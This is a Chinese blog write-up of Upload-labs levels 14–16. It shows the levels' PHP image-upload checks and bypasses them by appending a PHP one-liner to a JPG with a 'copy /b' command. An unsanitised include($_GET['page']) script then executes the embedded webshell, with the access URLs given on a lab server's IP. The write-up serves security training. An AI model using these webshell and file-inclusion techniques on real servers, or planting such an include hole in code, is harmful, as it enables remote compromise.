zoukankan      html  css  js  c++  java
  • Upload-labs-14-16

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!

    Pass-14

    • 查看本关卡代码
    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据提示检测了代码内容的开头两个字节,且页面提示需要上传图片木马拿shell,所以首先本地制作个图片木马
    • copy bmfx.jpg/b + ant.php/a shelljpg.jpg
    • 参数/b指定以二进制格式复制
    • 参数/a指定以ASCII格式复制
    • 最后是合并好的带一句话的jpg文件

    • 然后直接上传此图片
    • 得到图片地址:4020200930032126.jpg
    • 因为本关卡还提示需要通过文件包含来读取jpg里面的小马代码拿shell,所以需要建立一个包含代码的文件,我这里就定义名称为include.php,内容如下:
    <?php
    $file = $_GET[ 'page' ] ;
    include ($file);
    ?>
    • 到了此步就可以直接包含图片拿shell了
    • http://106.54.35.126/upload/include.php?page=4020200930032126.jpg

    • 成功拿shell

    Pass-15

    • 查看本关卡代码
    function isImage($filename){
        $types = '.jpeg|.png|.gif';
        if(file_exists($filename)){
            $info = getimagesize($filename);
            $ext = image_type_to_extension($info[2]);
            if(stripos($types,$ext)>=0){
                return $ext;
            }else{
                return false;
            }
        }else{
            return false;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据本关卡的提示是使用了getimagesize()函数,此函数是获取文件类型是不是图片格式的,但是此函数还是根据文件开头去判断的,所以我们插入在后面的一句话木马不受影响,可以继续利用
    • 具体看如下演示,最终上传成功的访问路径:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg

    Pass-16

    • 查看本关卡代码
    function isImage($filename){
        //需要开启php_exif模块
        $image_type = exif_imagetype($filename);
        switch ($image_type) {
            case IMAGETYPE_GIF:
                return "gif";
                break;
            case IMAGETYPE_JPEG:
                return "jpg";
                break;
            case IMAGETYPE_PNG:
                return "png";
                break;    
            default:
                return false;
                break;
        }
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $res = isImage($temp_file);
        if(!$res){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    • 根据本关卡的提示,发现又换了个函数来检查是否是图片,函数名称是exif_imagetype() 此函数跟上一关卡的函数差别不大,只是本关卡的函数返回值少了些,所以同样使用使用图片木马上传拿shell
    • 具体请看如下演示:访问  http://106.54.35.126/upload/include.php?page=3320200930051801.jpg

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    SonarQube系列三、Jenkins集成SonarQube(dotnetcore篇)
    SonarQube系列二、分析dotnet core/C#代码
    SonarQube系列一、Linux安装与部署
    asp.net core 集成JWT(二)token的强制失效,基于策略模式细化api权限
    asp.net core 集成JWT(一)
    visual studio 各版本激活码
    服务网关Ocelot 入门Demo系列(01-Ocelot极简单Demo及负载均衡的配置)
    一人撸PaaS之“应用”
    使用Roslyn脚本化C#代码,C#动态脚本实现方案
    try.dot.net 的正确使用姿势
  • 原文地址:https://www.cnblogs.com/autopwn/p/13753716.html
Copyright © 2011-2022 走看看